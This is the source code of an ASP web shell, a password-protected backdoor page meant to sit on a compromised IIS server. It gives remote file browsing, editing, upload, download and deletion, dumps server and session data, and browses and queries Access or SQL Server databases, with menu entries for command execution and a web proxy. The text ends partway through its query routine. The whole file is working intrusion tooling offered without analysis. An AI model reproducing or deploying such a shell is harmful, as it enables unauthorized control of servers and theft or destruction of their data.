<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
Response.Buffer = True
Dim url, conn, sUrlB, theAct, thePath, rootPath, PageSize
Dim accessStr, pageName, sysFileList, isSqlServer, sPacketName
theAct = GetPost("theAct")
PageSize = 20 ''
isSqlServer = False
rootPath = Server.MapPath("/")
pageName = GetPost("PageName")
url = Request.ServerVariables("URL")
sPacketName = "ad.jpg"
thePath = Replace(getPost("thePath"), "\\", "\")
sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$"
accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";"
Const m = "xigaijp"
Const isDebugMode = False
Const maxPageCount = 600
Const userPassword = "D0040301521"
Const imageFileExt = "$gif$jpg$bmp$"
Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"
Sub of(str)
Response.Write(str)
End Sub
Sub IsIn()
If Session(m & "userPassword") <> userPassword Then
of "<script>alert('sor');location.href='" & url & "';</script>"
Response.End()
End If
End Sub
Function IIf(var, val1, val2)
If var = True Then
IIf = val1
Else
IIf = val2
End If
End Function
Sub RedirectTo(url)
Response.Redirect(url)
End Sub
Function GetPost(var)
Dim val
If Request.QueryString("PageName") = "PageUpload" Then
pageName = "PageUpload"
Exit Function
End If
val = RTrim(Request.Form(var))
If val = "" Then
val = RTrim(Request.QueryString(var))
End If
GetPost = val
End Function
Function HtmlEncode(str)
If IsNull(str) Then Exit Function
HtmlEncode = Server.HTMLEncode(str)
End Function
Function UrlEncode(str)
If IsNull(str) Then Exit Function
UrlEncode = Server.UrlEncode(str)
End Function
Sub ShowTitle(str)
Response.Write "<title>" & str & "</title>"
Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>"
End Sub
Function GetTheSize(num)
Dim i, arySize(4)
arySize(0) = "B"
arySize(1) = "KB"
arySize(2) = "MB"
arySize(3) = "GB"
arySize(4) = "TB"
While(num / 1024 >= 1)
num = Fix(num / 1024 * 100) / 100
i = i + 1
WEnd
GetTheSize = num & " " & arySize(i)
End Function
Sub ShowErr(str)
Dim i, arrayStr
str = Server.HtmlEncode(str)
arrayStr = Split(str, "$$")
of "<font size=2>"
of "orr:<br/><br/>"
For i = 0 To UBound(arrayStr)
of " " & (i + 1) & ". " & arrayStr(i) & "<br/>"
Next
of "</font>"
Response.End()
End Sub
Sub CreateFolder(thePath)
Dim i
i = InStr(Mid(thePath, 4), "\") + 3
Do While i > 0
If fso.FolderExists(Left(thePath, i)) = False Then
fso.CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "\") Then
i = i + Instr(Mid(thePath, i + 1), "\")
Else
i = 0
End If
Loop
End Sub
Sub AlertThenClose(str)
If str = "" Then
Response.Write "<script>window.close();</script>"
Else
Response.Write "<script>alert(""" & str & """);window.close();</script>"
End If
End Sub
Sub ChkErr(Err)
If Err Then
of "<hr style='color:#d8d8f0;'/><font size=2><li>orr: " & Err.Description & "</li><li>orry: " & Err.Source & "</li><br/>"
of "<hr style='color:#d8d8f0;'/> </font>"
Err.Clear
Response.End
End If
End Sub
Sub TopMenu()
of "<form method=post name=formp action=""" & url & """>"
of "<select name=PageName onchange=changePage(this)>"
of "<option value=''>setet</option>"
of "<option value=PageCheck>jc</option>"
of "<option value=PageFso>fiel</option>"
of "<option value=PageDBTool>utdat</option>"
of "<option value=PagePack>dx/jx</option>"
of "<option value=PageUpload>up</option>"
of "<option value=PageSearch>set</option>"
of "<option value=PageExecute>yx</option>"
of "<option value=PageOut>out</option>"
of "</select>"
of "</form>"
of "<script lanuage=javascript>"
of "formp.PageName.value='" & pageName & "';"
of "function changePage(obj){"
of " if(obj.value=='PageOut')"
of " if(!confirm('out?'))return;"
of "if(obj.value=='PageWebProxy')obj.form.target='_blank';"
of " obj.form.submit();obj.form.target='';"
of "}"
of "</script>"
End Sub
PageOther()
If pageName <> "" Then
IsIn()
TopMenu()
End If
Select Case pageName
Case "PageSearch"
PageSearch()
Case "PageCheck"
PageCheck()
Case "PageFso"
PageFso()
Case "PageDBTool"
PageDBTool()
Case "PageUpload"
PageUpload()
Case "PagePack"
PagePack()
Case "PageExecute"
PageExecute()
Case "PageWebProxy"
PageWebProxy()
Case "", "PageOut"
PageLogin()
End Select
Sub PageSearch()
Dim strKey, strPath
strKey = GetPost("Key")
Server.ScriptTimeout = 5000
If thePath = "" Then thePath = rootPath
ShowTitle("flieset")
SearchTable(strKey)
If theAct <> "" And strKey <> "" Then
SearchIt(strKey)
End If
End Sub
Sub SearchTable(strKey)
of "<table width=750 border=1>"
of "<form method=post action='" & url & "'>"
of "<input type=hidden value=PageSearch name=PageName>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> flieset(FSO)</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td> lj</td>"
of "<td> <input name=thePath type=text id=thePath value='"
of HtmlEncode(thePath)
of "' style='width:360px;'>"
of "</td>"
of "</tr>"
of "<tr>"
of "<td width='20%'> key</td>"
of "<td> <input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> "
of "<select name=theAct id=theAct>"
of "<option value=FileName selected>text</option>"
of "<option value=FileContent>texet</option>"
of "<option value=Both>and</option>"
of "</select>"
of " <input type=submit name=Submit value=boot> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</form>"
of "</table>"
End Sub
Sub SearchIt(key)
Dim strPath, theFolder
Response.Buffer = True
strPath = thePath
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " oerr")
End If
Set theFolder = fso.GetFolder(strPath)
of "<br/><div style='width:750;border:1px solid #d8d8f0;'>"
Select Case theAct
Case "Both"
Call SearchFolder(theFolder, key, 1)
Case "FileName"
Call SearchFolder(theFolder, key, 2)
Case "FileContent"
Call SearchFolder(theFolder, key, 3)
End Select
of "</div>"
Set theFolder = Nothing
End Sub
Sub SearchFolder(folder, key, flag)
Dim ext, title, theFile, theFolder
For Each theFile In folder.Files
ext = LCase(fso.GetExtensionName(theFile.Path))
If flag = 1 Or flag = 2 Then
If InStr(LCase(theFile.Name), LCase(key)) > 0 Then of FileLink(theFile, "")
End If
If flag = 1 Or flag = 3 Then
If Instr(EditableFileExt, "$" & ext & "$") > 0 Then
If SearchFile(theFile, key, title) Then of FileLink(theFile, title)
End If
End If
Next
Response.Flush()
For Each theFolder In folder.SubFolders
Call SearchFolder(theFolder, key, flag)
Next
end sub
Function SearchFile(f, s, title)
Dim theFile, content, pos1, pos2
If isDebugMode = False Then On Error Resume Next
Set theFile = fso.OpenTextFile(f.Path)
content = theFile.ReadAll()
theFile.Close
Set theFile = Nothing
If Err Then
Err.Clear
End If
SearchFile = InStr(1, content, s, 1)
If SearchFile > 0 Then
pos1 = InStr(1, content, "<TITLE>", 1)
pos2 = InStr(1, content, "</TITLE>", 1)
title = ""
If pos1 > 0 And pos2 > 0 Then
title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
End If
End If
End Function
Function FileLink(file, title)
fileLink = file.Path
If title = "" Then
title = file.Name
End If
fileLink = " <font color=ff0000>" & title & "</font> " & fileLink & "<br/>"
End Function
Sub PageCheck()
ShowTitle("xx")
InfoCheck()
If theAct <> "" Then
GetAppOrSession(theAct)
End If
ObjCheck()
End Sub
Sub InfoCheck()
Dim aryCheck(6)
If isDebugMode = False Then On Error Resume Next
aryCheck(0) = Server.ScriptTimeOut() & "(s)"
aryCheck(1) = FormatDateTime(Now(), 0)
aryCheck(2) = Request.ServerVariables("SERVER_NAME")
aryCheck(2) = aryCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR")
aryCheck(2) = aryCheck(2) & ":" & Request.ServerVariables("SERVER_PORT")
aryCheck(3) = Request.ServerVariables("OS")
aryCheck(3) = IIf(aryCheck(3) = "", "Windows2003", aryCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE")
aryCheck(3) = aryCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
aryCheck(4) = rootPath & ", " & GetTheSize(fso.GetFolder(rootPath).Size)
aryCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "<br />"
aryCheck(5) = aryCheck(5) & " Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url")
aryCheck(6) = "sl: " & Application.Contents.Count() & "(<a href=javascript:locate('app');>Application</a>),"
aryCheck(6) = aryCheck(6) & " hh: " & Session.Contents.Count & "(<a href=javascript:locate('session');>Session</a>),"
aryCheck(6) = aryCheck(6) & " hhID: " & Session.SessionId()
of "<table width=750 border=1>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> xx"
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr class=td>"
of "<td width='20%'> name</td>"
of "<td> z</td>"
of "</tr>"
of "<tr>"
of "<td> cs</td>"
of "<td> "&aryCheck(0)&"</td>"
of "</tr>"
of "<tr>"
of "<td> data</td>"
of "<td> "&aryCheck(1)&"</td>"
of "</tr>"
of "<tr>"
of "<td> fwname</td>"
of "<td> "&aryCheck(2)&"</td>"
of "</tr>"
of "<tr>"
of "<td> hj</td>"
of "<td> "&aryCheck(3)&"</td>"
of "</tr>"
of "<tr>"
of "<td> ml</td>"
of "<td> "&aryCheck(4)&"</td>"
of "</tr>"
of "<tr>"
of "<td> lj</td>"
of "<td> "&aryCheck(5)&"</td>"
of "</tr>"
of "<tr>"
of "<td> qt</td>"
of "<td> "&aryCheck(6)&"</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</table>"
End Sub
Sub ObjCheck()
Dim aryObj(19)
Dim x, objTmp, theObj, strObj
If isDebugMode = False Then On Error Resume Next
strObj = Trim(getPost("TheObj"))
of "<br/>"
For Each x In aryObj
theObj = Split(x, "|")
If theObj(0) = "" Then Exit For
Set objTmp = Server.CreateObject(theObj(0))
If Err <> -2147221005 Then
x = x & "|√|"
x = x & objTmp.Version
Else
x = x & "|<font color=red>×</font>|"
End If
If Err Then Err.Clear
Set objTmp = Nothing
theObj = Split(x, "|")
theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "")
of "<tr>"
of "<td> " & theObj(1) & "</td>"
of "<td align=center>" & theObj(2) & "</td>"
of "<td align=center>" & theObj(3) & "</td>"
of "</tr>"
Next
End Sub
Sub GetAppOrSession(theAct)
Dim x, y
If isDebugMode = False Then On Error Resume Next
of "<br/>"
of "<table width=750 border=1 class=fixTable>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> Application/Session ck"
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr class=td>"
of "<td width='20%'> bl</td>"
of "<td> z</td>"
of "</tr>"
If theAct = "app" Then
For Each x In Application.Contents
of "<tr><td valign=top>"
of " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
of "</td><td style='padding-left:7px;'><span>"
If IsArray(Application(x)) = True Then
For Each y In Application(x)
of "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>"
Next
Else
of Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>")
End If
of "</span></td></tr>"
Next
End If
If theAct = "session" Then
For Each x In Session.Contents
of "<tr><td valign=top>"
of " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
of "</td><td style='padding-left:7px;'><span>"
of Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>")
of "</span></td></tr>"
Next
End If
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</table>"
End Sub
Sub PageFso()
ShowTitle("FSOzc")
Select Case theAct
Case "rename"
RenOne()
Case "download"
DownTheFile()
Response.End()
Case "del"
DelOne()
Case "newone"
NewOne()
Case "saveas"
SaveAs()
Case "save"
SaveToFile()
ShowEdit()
Response.End()
Case "showedit"
ShowEdit()
Response.End()
Case "showimage"
ShowImage()
Response.End()
Case "copy", "move"
MoveCopyOne()
End Select
If theAct <> "" Then thePath = GetPost("truePath")
FsoFileExplorer()
End Sub
Sub FsoFileExplorer()
Dim objX, theFolder, folderId, extName, parentFolderName
Dim strPath
If isDebugMode = False Then On Error Resume Next
If thePath = "" Then thePath = rootPath
strPath = thePath
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " oerr")
End If
Set theFolder = fso.GetFolder(strPath)
parentFolderName = fso.GetParentFolderName(strPath) & "\"
of "<table width=750 border=1>"
of "<form method=post action='" & url & "'>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> FSOck"
of "</tr>"
of "<tr><td colspan=2 class=trHead> </td></tr>"
of "<tr>"
of "<td colspan=2> "
of "url: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>"
of "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>"
of " <input type=button value='boot' onclick=Command('submit');>"
of " <input type=button value=up onclick=Command('upload')>"
of "</td>"
of "</tr>"
of "<tr><td colspan=2 class=trHead> </td></tr>"
of "<tr><td valign=top>"
of "<input type=hidden name=theAct>"
of "<input type=hidden name=param>"
of "<input type=hidden value=PageFso name=PageName>"
of "<table width='99%' align=center>"
of "<tr><td colspan=4 class=trHead> </td></tr><tr class=td><td>"
If parentFolderName <> "\" Then
folderId = Replace(parentFolderName, "\", "\\")
of " <a href=""javascript:changeThePath("" & folderId & "");"">↑</a>"
End If
of "</td><td align=center width=80>大小</td>"
of "<td align=center width=140>xg</td><td align=center>ok</td></tr>"
For Each objX In theFolder.SubFolders
folderId = Replace(objX.Path, "\", "\\")
of "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>■</font>"
of "<span class=fixSpan style='width:180;'>"
of "<a href=""javascript:changeThePath("" & folderId & "");"">"& objX.Name & "</a></span>"
of "</td>"
of "<td align=center>-</td>"
of "<td align=center>" & objX.DateLastModified & "</td><td>"
of "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
of "<input type=button onclick=""Command('rename',"" & objX.Name & "");"" value='Ren' title=mingming>"
of "<input type=button value='SaveAs' title=cc onclick=""Command('saveas',"" & Replace(objX.Path, "\", "\\") & "")"">"
of "</td></tr>"
Next
For Each objX In theFolder.Files
If Left(objX.Path, Len(rootPath)) <> rootPath Then
folderId = ""
Else
folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20")
End If
of "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>□</font>"
of "<span class=fixSpan style='width:180;'>"
If folderId = "" Then
of objX.Name
Else
of "<a href='" & Replace(folderId, "%5C", "/") & "' target=_blank>" & objX.Name & "</a>"
End If
of "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>"
of "<td align=center>" & objX.DateLastModified & "</td><td>"
of "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
extName = LCase(fso.GetExtensionName(objX.Path))
If InStr(editableFileExt, "$" & extName & "$") > 0 Then
of "<input type=button value='Edit' title=bj onclick=""Command('showedit',"" & objX.Name & "");"">"
End If
If InStr(imageFileExt, "$" & extName & "$") > 0 Then
of "<input type=button value='View' title=pic onclick=""Command('showimage',"" & objX.Name & "");"">"
End If
If extName = "mdb" Then
of "<input type=button value='Access' title=data onclick=Command('access',""" & objX.Name & """)>"
End If
of "<input type=button value='D' title=xz onclick=""Command('download',"" & objX.Name & "")"">"
of "<input type=button value='Ren' title=mm onclick=""Command('rename',"" & objX.Name & "")"">"
of "<input type=button value='S' title=nc onclick=""Command('saveas',"" & Replace(objX.Path, "\", "\\") & "")"">"
of "</td></tr>"
Next
of "<tr class=td><td colspan=3></td>"
of "<td><input type=checkbox name=checkAll onclick=checkAllBox(this);>"
of "<input type=button value='Delete' onclick=Command('del')>"
of "<input type=button value='Pack' title=fiel onclick=Command('pack')>"
of "</td></tr></table>"
of "</td><td width='20%' valign=top align=center>"
of "<input type=button value=sx onclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>"
of "<input type=button value=xj onclick=Command('newone','file')><br/>"
of "<input type=button value=xjfile onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>"
of "ydfile<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='yd' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
of "cpoyfile<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='cpoy' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
of "</td></tr><tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</form>"
of "</table>"
Set theFolder = Nothing
End Sub
Sub RenOne()
Dim objX, strPath, aryParam, isFile, isFolder
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\"
aryParam(0) = strPath & aryParam(0)
isFile = fso.FileExists(aryParam(0))
isFolder = fso.FolderExists(aryParam(0))
If isFile = False And isFolder = False Then
ShowErr("oerr")
End If
If isFile = False Then
Set objX = fso.GetFolder(aryParam(0))
objX.Name = aryParam(1)
Else
Set objX = fso.GetFile(aryParam(0))
objX.Name = aryParam(1)
End If
Set objX = Nothing
ChkErr(Err)
End Sub
Sub DownTheFile()
Response.Clear
Dim stream, strPath, fileContentType
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(strPath)
ChkErr(Err)
Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param")
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "Application/Octet-Stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
End Sub
Sub DelOne()
Dim objX, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\"
For Each objX In Request.Form("checkBox")
If fso.FolderExists(strPath & objX) = True Then
Call fso.DeleteFolder(strPath & objX, True)
ChkErr(Err)
Else
If fso.FileExists(strPath & objX) = True Then
Call fso.DeleteFile(strPath & objX, True)
ChkErr(Err)
End If
End If
Next
End Sub
Sub MoveCopyOne()
Dim objX, strPath, strMoveTo, strCopyTo
If isDebugMode = False Then On Error Resume Next
strMoveTo = GetPost("MoveTo")
strCopyTo = GetPost("CopyTo")
strPath = GetPost("truePath") & "\"
If theAct = "move" Then
strMoveTo = strMoveTo & "\"
Else
strCopyTo = strCopyTo & "\"
End If
For Each objX In Request.Form("checkBox")
If theAct = "move" Then
If InStr(strMoveTo, strPath & objX) > 0 Then
ShowErr("oerr")
End If
If fso.FileExists(strPath & objX) = True Then
Call fso.MoveFile(strPath & objX, strMoveTo & objX)
Else
Call fso.MoveFolder(strPath & objX, strMoveTo & objX)
End If
Else
If InStr(strCopyTo, strPath & objX) > 0 Then
ShowErr("oerr")
End If
If fso.FileExists(strPath & objX) = True Then
Call fso.CopyFile(strPath & objX, strCopyTo & objX)
Else
Call fso.CopyFolder(strPath & objX, strCopyTo & objX)
End If
End If
ChkErr(Err)
Next
End Sub
Sub NewOne()
Dim objX, strPath, aryParam
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\" & aryParam(0)
If aryParam(1) = "file" Then
Call fso.CreateTextFile(strPath, False)
Else
fso.CreateFolder(strPath)
End If
End Sub
Sub ShowEdit()
Dim theFile, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1)
Set theFile = fso.OpenTextFile(strPath, 1, False)
ChkErr(Err)
of "<table width=750 height=100% border=0 cellpadding=0 cellspacing=0>"
of "<tr>"
of "<td class=td><font face=webdings>8</font> FSO</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<form method=post action=" & url & ">"
of "<input type=hidden name=theAct>"
of "<input type=hidden value=PageFso name=PageName>"
of "<tr>"
of "<td height=22> <input name=truePath value=""" & strPath & """ style=width:500px;>"
of "<input type=submit value=ck onClick=this.form.theAct.value='showedit';></td>"
of "</tr>"
of "<tr>"
of "<td> <textarea name=fileContent style='width:735px;height:100%;'>"
of HtmlEncode(theFile.ReadAll())
of "</textarea></td>"
of "</tr>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td class=td align=center><input type=button name=Submit value=bc onClick=""if(confirm('qr?')){this.form.theAct.value='save';this.form.submit();}"">"
of "<input type=reset value=cz><input type=button onclick=window.close(); value=off>"
of "<input type=button value=ll onclick=preView('1'); title='htm'></td>"
of "</tr>"
of "</form>"
of "</table>"
Set theFile = Nothing
End Sub
Sub SaveToFile()
Dim theFile, strPath, fileContent
If isDebugMode = False Then On Error Resume Next
fileContent = GetPost("fileContent")
strPath = GetPost("truePath")
Set theFile = fso.OpenTextFile(strPath, 2, True)
theFile.Write fileContent
theFile.Close
ChkErr(Err)
Set theFile = Nothing
End Sub
Sub SaveAs()
Dim strPath, aryParam, isFile
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
aryParam(0) = aryParam(0)
aryParam(1) = aryParam(1)
isFile = fso.FileExists(aryParam(0))
If isFile = True Then
fso.CopyFile aryParam(0), aryParam(1), False
Else
fso.CopyFolder aryParam(0), aryParam(1), False
End If
ChkErr(Err)
End Sub
Sub ShowImage()
Dim stream, strPath, fileContentType
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(strPath)
ChkErr(Err)
Response.Clear
Response.BinaryWrite stream.Read
stream.Close
Set stream = Nothing
End Sub
Sub PageDBTool()
ShowTitle("Access + SQL Server ")
of "<form method=post action=""" & url & """>"
If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then
SqlShowEdit()
of "</form>"
Response.End()
End If
ShowDBTool()
Select Case theAct
Case "Query"
ShowQuery()
Case "ShowTables"
ShowTables()
End Select
of "</form>"
End Sub
Sub ShowDBTool()
of "<table width=750>"
of "<input type=hidden value=PageDBTool name=PageName>"
of "<input type=hidden name=theAct>"
of "<input type=hidden name=param>"
of "<tr>"
of "<td class=td> Access + SQL Server </td>"
of "</tr>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td height=50 align=center>"
of "<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=60>"
of "</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td align=center class=td>"
of "<input type=submit name=Submit value=tj onclick=""this.form.theAct.value='ShowTables';"">"
of "<input type=button value=MDB onclick=""this.form.thePath.value='DataSource;UserName;PassWord;';"">"
of "<input type=button value=SQL onclick=""this.form.thePath.value='sql:Provider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=PassWord;Database=Pubs;';"">"
of "<input type=reset value=cz>"
of "</td>"
of "</tr>"
of "</table>"
End Sub
Sub ShowTables()
Dim Cat, objTable, objColumn, intColSpan, objSchema
If isDebugMode = False Then On Error Resume Next
of "<br/><table width=750>"
of "<tr>"
of "<td class=td colspan=2><font face=webdings>8</font> jgck</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
CreateConn()
Set Cat = Server.CreateObject("ADOX.Catalog")
Cat.ActiveConnection = conn.ConnectionString
of "<tr><td width='20%' valign=top>"
For Each objTable In Cat.Tables
of "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
of "style='width:94%;padding-left:8px;cursor:hand;'>" & objTable.Name & "</span>"
Next
of "</td><td>"
intColSpan = IIf(isSqlServer = True, "4", "6")
For Each objTable In Cat.Tables
of "<table width=98% align=center>"
of "<tr>"
of "<td class=trHead colspan=" & intColSpan & "> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=" & intColSpan & " class=td> <strong>"
of objTable.Name & "</strong></td>"
of "</tr>"
of "<tr align=center>"
of "<td align=left width=*> lm</td>"
of "<td width=80>lx</td>"
of "<td width=60>dx</td>"
of "<td width=60>sf</td>"
If isSqlServer = False Then
of "<td width=50>mr</td>"
of "<td width=100>ms</td>"
End If
of "</tr>"
For Each objColumn In Cat.Tables(objTable.Name).Columns
of "<tr align=center>"
of "<td align=left><span style='width:98%;padding-left:5px;'>" & objColumn.Name & "</a></td>"
of "<td>" & GetDataType(objColumn.Type) & "</td>"
If objColumn.DefinedSize <> 0 Then
of "<td>" & objColumn.DefinedSize & "</td>"
Else
of "<td>" & IIf(objColumn.Precision <> 0, objColumn.Precision, " ") & "</td>"
End If
of "<td>" & IIf(objColumn.Attributes = 1, "False", "True") & "</td>"
If isSqlServer = False Then
of "<td><span class=fixSpan style='width:40px;padding-left:5px;' title=""" & HtmlEncode(objColumn.Properties("Default").value) & """>"
of HtmlEncode(objColumn.Properties("Default").value) & "</span></td>"
of "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title=""" & objColumn.Properties("Description") & """>"
of objColumn.Properties("Description") & "</span></td>"
End If
of "</tr>"
Next
of "<tr>"
of "<td colspan=" & intColSpan & " class=td> </td>"
of "</tr>"
of "</table><br/>"
Next
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=td align=right> </td>"
of "</tr>"
of "</table>"
Set Cat = Nothing
DestoryConn()
End Sub
Sub ShowQuery()
Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey
If isDebugMode = False Then On Error Resume Next
sql = GetPost("sql")
strParam = GetPost("param")
strTable = GetPost("theTable")
Set rs = Server.CreateObject("Adodb.RecordSet")
If IsNumeric(strParam) = True Then
intPage = strParam
Else
intPage = 1
strTable = strParam
sql = ""
End If
If sql = "" Then
sql = "Select * From [" & strTable & "]"
End If
For i = 1 To Request.Form("KeyWord").Count
If Request.Form("KeyWord")(i) <> "" Then
sqlC = Replace(Request.Form("KeyWord")(i), "'", "''")
sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC)
sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i)
End If
Next
If sqlB <> "" Then
sql = "Select * From [" & strTable & "] Where " & sqlB
If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4)
If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5)
End If
of "<input type=hidden name=sql value=""" & HtmlEncode(sql) & """>"
of "<textarea name=sqlB rows=1 style='width:647px;'>" & HtmlEncode(sql) & "</textarea>"
of " <input type=button value=zx onclick=""this.form.sql.value=this.form.sqlB.value;Command('Query','0');"">"
of "<input type=button value=- onclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'>"
of "<input type=button value=+ onclick='this.form.sqlB.rows+=3;'>"
of "<input type=hidden name=theTable value=""" & HtmlEncode(strTable) & """>"
of "<br/><table width=750>"
of "<tr>"
of "<td class=td colspan=2><font face=webdings>8</font> SQLcx</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
CreateConn()
Set Cat = Server.CreateObject("ADOX.Catalog")
Cat.ActiveConnection = conn.ConnectionString
of "<tr><td width='20%' valign=top>"
For Each objTable In Cat.Tables
of "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
of "style='width:94%;padding-left:8px;cursor:hand;'>"
If strTable = objTable.Name Then
of "<u>" & objTable.Name & "</u>"
Else
of objTable.Name
End If
of "</span>"
Next
of "</td><td valign=top>"
If LCase(Left(sql, 7)) = "select " Then
rs.Open sql, conn, 1, 1
ChkErr(Err)
rs.PageSize = PageSize
If Not rs.Eof Then
rs.AbsolutePage = intPage
End If
of "<div align=left><table border=1 width=490>"
of "<tr>"
of "<td height=22 class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td height=22 class=td width=100> cx</td>"
of "</tr><tr><td align=center>"
of "<div><select name=Fields>"
For Each x In rs.Fields
of "<option value=""" & x.Name & """>" & x.Name & "</option>"
Next
of "</select>"
of "<select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select>"
of "<input name=KeyWord style='width:200px;'>"
of "<select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> "
of "<input type=button value=+ onclick=""this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"">"
of "<input type=button value=- onclick=""this.parentElement.outerHTML='';""></div> "
of "<input type=button value=cx onclick=this.form.sql.value='';this.form.param.value='1';this.form.theAct.value='Query';this.form.submit();>"
of "</td></tr>"
of "<tr><td class=td> </td></tr>"
of "</table></div><br/>"
If rs.Fields.Count > 0 Then
strPrimaryKey = GetPrimaryKey(strTable)
of "<table border=1 align=left cellpadding=0 cellspacing=0>"
